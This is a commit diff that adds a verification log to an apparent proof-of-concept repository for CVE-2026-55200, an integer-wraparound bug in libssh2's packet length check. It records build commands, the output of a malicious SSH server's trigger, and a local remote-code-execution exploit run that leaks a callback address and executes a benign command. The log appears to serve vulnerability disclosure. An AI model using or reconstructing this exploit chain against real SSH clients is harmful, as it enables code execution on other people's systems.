Upload files to "libssh2-cve-2026-55200-poc/evidence"

2026-06-29 16:47:59 +00:00
parent 0ca371a2e5
commit 5edd71befa
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+Repository HEAD during verification:
+11dde2a60003651746366dc346633a66926f9480
+
+Compiler:
+gcc.exe (MinGW-W64 x86_64-ucrt-posix-seh, built by Brecht Sanders, r7) 15.2.0
+
+Python:
+Python 3.13.12
+
+Arithmetic verifier build command:
+gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c
+
+Arithmetic verifier run:
+.\cve_2026_55200_probe.exe
+
+benign CVE-2026-55200 proof
+build_size_t_bytes=8
+build_size_t_bits=64
+packet_length=0xffffffff (4294967295)
+mac_len=0
+auth_len=16
+mathematical_total=4294967315
+vulnerable32_decision=accepted
+vulnerable32_total=19
+vulnerable32_allocation=19
+fullpacket_style_length=4294967294
+allocation_gap=4294967275
+fixed32_decision=rejected: out of boundary
+native_unpatched_decision=accepted
+native_unpatched_total=19
+native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
+result=PASS
+
+Trigger self-test:
+python .\poc\libpwn_cve_2026_55200_server.py --self-test
+
+[self-test] chacha20-poly1305@openssh.com packet generator
+packet_length=0xffffffff (4294967295)
+encrypted_fragment_len=28
+filler_len=64
+body_len=8
+vulnerable_c_expression_accepted=True
+vulnerable_c_expression_allocation=19
+fixed_rejects=True
+fullpacket_style_length=4294967294
+allocation_gap=4294967275
+[self-test] PASS
+
+Trigger loopback test:
+python .\poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
+
+[+] client ident: SSH-2.0-libpwn-local-libssh2-mock
+[+] negotiated curve25519-sha256 / rsa-sha2-256 / chacha20-poly1305@openssh.com
+[+] sent SSH_MSG_NEWKEYS
+[+] received client SSH_MSG_NEWKEYS
+[+] sent malformed chacha/poly1305 trigger at server seq=3
+[+] trigger bytes=92 packet_length=0xffffffff
+[loopback-test] minimal SSH handshake/key-derivation path
+decrypted_trigger_packet_length=0xffffffff (4294967295)
+encrypted_trigger_fragment_len=28
+[loopback-test] PASS
+
+Local RCE harness build command:
+gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
+
+Local RCE exploit run:
+python .\poc\libpwn_local_rce_exploit.py
+
+LEAK exec_callback=<runtime address> callback_offset=24 command_offset=32 ptr_size=8
+accepted packet_length=0xffffffff allocation=19 copy_len=180 body_len=180
+exec_callback command=cmd /c echo libpwn-rce-verified><repo>\poc\libpwn_rce_proof.txt
+system_rc=0
+process_rc=0
+payload_len=180
+proof_path=<repo>\poc\libpwn_rce_proof.txt
+RCE_PROOF=PASS
+
+Proof file:
+Get-Content -Raw .\poc\libpwn_rce_proof.txt
+
+libpwn-rce-verified
+
+Python syntax check:
+python -m py_compile .\poc\libpwn_cve_2026_55200_server.py .\poc\libpwn_local_rce_exploit.py
+
+exit status: 0